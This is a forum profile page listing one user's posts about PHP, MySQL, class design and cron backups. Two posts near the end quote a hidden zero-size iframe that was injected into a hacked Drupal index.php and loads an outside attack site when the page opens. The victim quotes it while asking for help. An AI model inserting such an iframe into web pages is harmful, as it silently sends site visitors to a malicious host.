Jump to content

chaiwei

Members
  • Posts

    127
  • Joined

  • Last visited

Everything posted by chaiwei

  1. Assume the function that you have is called openDiv(), then if You got jquery then you use document.ready function, $(document).ready(function(){ openDiv(); }); But if you didn't use jquery, try <body onload="openDiv()"> <div id="close" onclick="openDiv()" style="display:none"></div>
  2. even I change to this , it works correctly SET @susm =0; SELECT rj.job_id, date_format( max( rjs.datestamp ) , '%Y-%m' ) AS filled_date, @susm := 1 + ( no_of_vacancy ) , no_of_vacancy, COUNT( rjs.status ) AS cnt FROM resume_job rj, resume_application_status rjs WHERE rj.job_id = rjs.job_id AND rjs.status = 'accepted' AND rj.job_type = 'p' GROUP BY rj.job_id HAVING cnt = rj.no_of_vacancy AND filled_date = '2009-11' job_id filled_date @susm:=1+no_of_vacancy no_of_vacancy cnt 3891 2009-11 2 1 1 3896 2009-11 2 1 1 3900 2009-11 2 1 1
  3. Hi, Anything wrong with this sql? SET @susm =0; SELECT rj.job_id, date_format( max( rjs.datestamp ) , '%Y-%m' ) AS filled_date, @susm := @susm + ( no_of_vacancy ) , no_of_vacancy, COUNT( rjs.status ) AS cnt FROM resume_job rj, resume_application_status rjs WHERE rj.job_id = rjs.job_id AND rjs.status = 'accepted' AND rj.job_type = 'p' GROUP BY rj.job_id HAVING cnt = rj.no_of_vacancy AND filled_date = '2009-11' it returns me 203,204,205 Why the first number become 203? then the second 204? the no_of_vacancy should be equals to 1 Is it because of the group by function? 3891 2009-11 203 1 1 3900 2009-11 204 1 1 3896 2009-11 205 1 1 but if I changed the @susm := @susm + ( no_of_vacancy ) to @susm := @susm + 1 it works normally. 3891 2009-11 1 1 1 3900 2009-11 2 1 1 3896 2009-11 3 1 1
  4. you put the include statement in a while loop.. while($row = mysql_fetch_array($result)){ include 'rcon_hl_net.inc'; } you should use the include statement outside the while loop in your case include 'rcon_hl_net.inc'; while($row = mysql_fetch_array($result)){ }
  5. Hi, I want to create a application using php, perhaps it should called interpersonal relationships application? very similar to social networking.. I don't have enough idea to come out with the design. Ok example, "I met many friends, colleagues, classmates in whole life. I tend to forgot their names mostly, some of them I even didn't know I got this friend in my primary school. Some of them might be my friend's friend. May be we just met once and get to know he was an IT manager, and may be few years later I got a cousin want to find IT jobs, but I can't remember which one among my friends was having working experience related to IT fields. So I hope a computer to help me." So I have to think of creating a application to store those guys information in database. But it is not just like this, I need to store relationships like social network, Example, I (chaiwei) got a friends called (jason) work in kitchen, jason got a friends (michael) work in hotel. I need to store michael also. So when I search who is related to hotel, then michael will come out. Then when I click on michael, the link will come out as chaiwei ->jason -> michael Is this application will works? or my requirements is not logic at all. Any ideas? Sorry for my english. regards, chaiwei
  6. Hi, I got a page which allow candidate to type in their previous working experience, I let user to choose the start date and end date and then system will automatically calculate the total experience in years and months. So when the I need to save the data, should I save the generated total experience? Some of my friends said I should not store the total experience in database, due to the total experience is based on the start date and end date. First I was think about if we don't store the total exp, when the time come to search, Let say I want to search for a candidate which has total experience equals to 10 years, I have to use mysql to do the calculation, I was wonder whether it will slow down on the select query? if I got millions row in the database? will it affect the performance?
  7. Hi, I have a class, example bear, class bear { private $name; private $age; function __construct($name , $age){ $this->name = $name; $this->age = $age; } function save(){ sql = 'INSERT INTO xxx'; } } $daddyBear = new bear('daddybear' , '1'); $daddyBear->save(); If I have a bear table, example id -> (int) auto increment name -> (varchar) age -> (int) should I add a object? ( used to save the bear class so when the time I fetch the data from database I don't have to assign again the name) example: class bear { private $name; private $age; function __construct($name , $age){ $this->name = $name; $this->age = $age; } function save($class){ sql = 'INSERT INTO {bear}( name, age, object) VALUES( "'.$this->name.'" , '.$this->age.' , "'.$class.'" )'; } } $daddyBear = new bear('daddybear' , '1'); $daddyBear->save(serialize($daddyBear)); $sql = 'SELECT * FROM bear'; while($xxx = mysql_fetch_array(xxx)){ $bear[] = unserialize($xxx['object']); } echo $bear[0]->name; Wouldn't It be easier? so I can use all the attribute again without have to set the attribute. Is there any problem with my idea that I might miss out? Please advice. Thanks.
  8. What if I want to transfer the file to one of the window pc on my LAN? Could I do that? Example. After the cron run every midnight to backup the database, It will generate a sql file inside the server. I want to transfer the sql file to a LAN (window) pc's sharing folder. example the pc name was pc01, its IPv4 in LAN was 192.168.1.3 the server used to generate sql file on LAN was 192.168.2.6 So I used sftp pc01@192.168.1.3 ?
  9. Thanks.. why shell script is better? Any advantage over php?
  10. Hi, Because I only know php.. I should use shell script better?
  11. Hi, I want to know is it possible to copy the file from 1 server to another server by using php scripts? In my case: I plan to use mysqldump to backup my database inside a sql file, so the generated backup file should be in the server. Next I plan to use cron to run the backup daily and transfer the sql file(backup) to another server. If It is not a server,but local pc, will it be done? because I plan to use script download to a local pc folder and sharing the folder so that user can copy the file into their thumbdrive and can bring it home. Is there any way to let me do that?
  12. I see, But how can I stored the PHP warning inside a log file? using ob_start and ob_get_contents ? but if syntax error, It still terminate the script, and can't stored in a log file? Am I right?
  13. "ab" means write the file in potability mode? what difference with "t"?
  14. So I shouldn't use require in production site right? Instead of exit the script I should told the viewer page not found something like that and provide the back button?
  15. Hi, I am confusing with "require" and "include" in php I know that "require" will become syntax error if the file was not found. "include" will give us an warning. But in practice, normally we don't want to let user saw the error, so we are turn off the error reporting, So we should not use "require" in production? Am I right?
  16. chaiwei

    :hover in IE6

    Hi, I notice that the drop down menu on top are using css to do it, but I have tried to do it before, I found that :hover is not support in IE6 except using a:hover But I notice the phpfreaks forum works, may I know what is the tricks that can be done? I tried google on that, bside using javascript or htc file, there are no others way. I have tried hundred times to get the drop down menu work but it didn't. Is there got any tricks to get li:hover to work in IE6?
  17. Normally I should seperate the job object and employee object to two different object right?
  18. I see.. No.. it was just an example.. Let say an employee class, Should I seperate out the personal information class and job class (contract / permanent)? OR combine it inside an employee class? So if seperate I should use inheritance right? Another thing was If I am using those magic method, what is the difference for me to set those variable to public? Thanks for the advices.
  19. Hi, I was concern about the php class. If I got a class which have 100 private variables, So normally with php magic function, I can public function __set($name , $value){ xxx } public function __get($name ){ xxx } So I don't have to have 100 set function and 100 get function. But with those magic function I wouldn't have to declare the variable inside the class, So I doesn't have the references for me to refer, so I tend to forget the variable naming. Like I name my employee id variable -> $empId May be my friend name the variable -> $employee_id So this is not the same. If we are using the same class to develop a employee system, May be my function can't pass the value to his function. How to overcome this issues with those magic function?
  20. Its looks like my personal computer infected by virus. According to my hosting provider said, I am really weak with the security part. So could the virus stole my ftp password inside my computer? I am using filezilla and editplus. So is this called phishing?
  21. Anyone have any idea to deal with this? It is not sql injection neither javascript XSS but it is permanently hard coded into my index.php my index.php permission was set to 664 only. what can done so or they use php or anything else to do that? either they hacked into my other script and rewrite my index.php?
  22. Hi thanks for reply, I am using drupal and I have download the drupal module only. It is hardcoded in my index.php Because in drupal index.php after they open a php tag they didnt close it. my index.php looks like this <?php require_once './includes/bootstrap.inc'; drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL); $return = menu_execute_active_handler(); // Menu status constants are integers; page content is a string. if (is_int($return)) { switch ($return) { case MENU_NOT_FOUND: drupal_not_found(); break; case MENU_ACCESS_DENIED: drupal_access_denied(); break; case MENU_SITE_OFFLINE: drupal_site_offline(); break; } } elseif (isset($return)) { // Print any value (including an empty string) except NULL or undefined: print theme('page', $return); } drupal_page_footer(); <iframe frameborder="0" onload="if (!this.src){ this.src='http://iqsp.ru:8080/index.php'; this.height='0'; this.width='0';}" >tlimbgnxscyelhhuuqhvchjqcghsbyt</iframe> So they insert the iframe in last line. So it will causing syntax error. because no close php tag and there is nothing call <iframe in php
  23. Hi, My website was being syntax error when this morning I wake up. I found out that my index.php in www folder got this line <iframe frameborder="0" onload="if (!this.src){ this.src='http://iqsp.ru:8080/index.php'; this.height='0'; this.width='0';}" >tlimbgnxscyelhhuuqhvchjqcghsbyt</iframe> After that I go to this website http://iqsp.ru:8080/index.php It is a reported attack website. Is there any possible way to know why was this happened? Someone can access to my index.php?
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.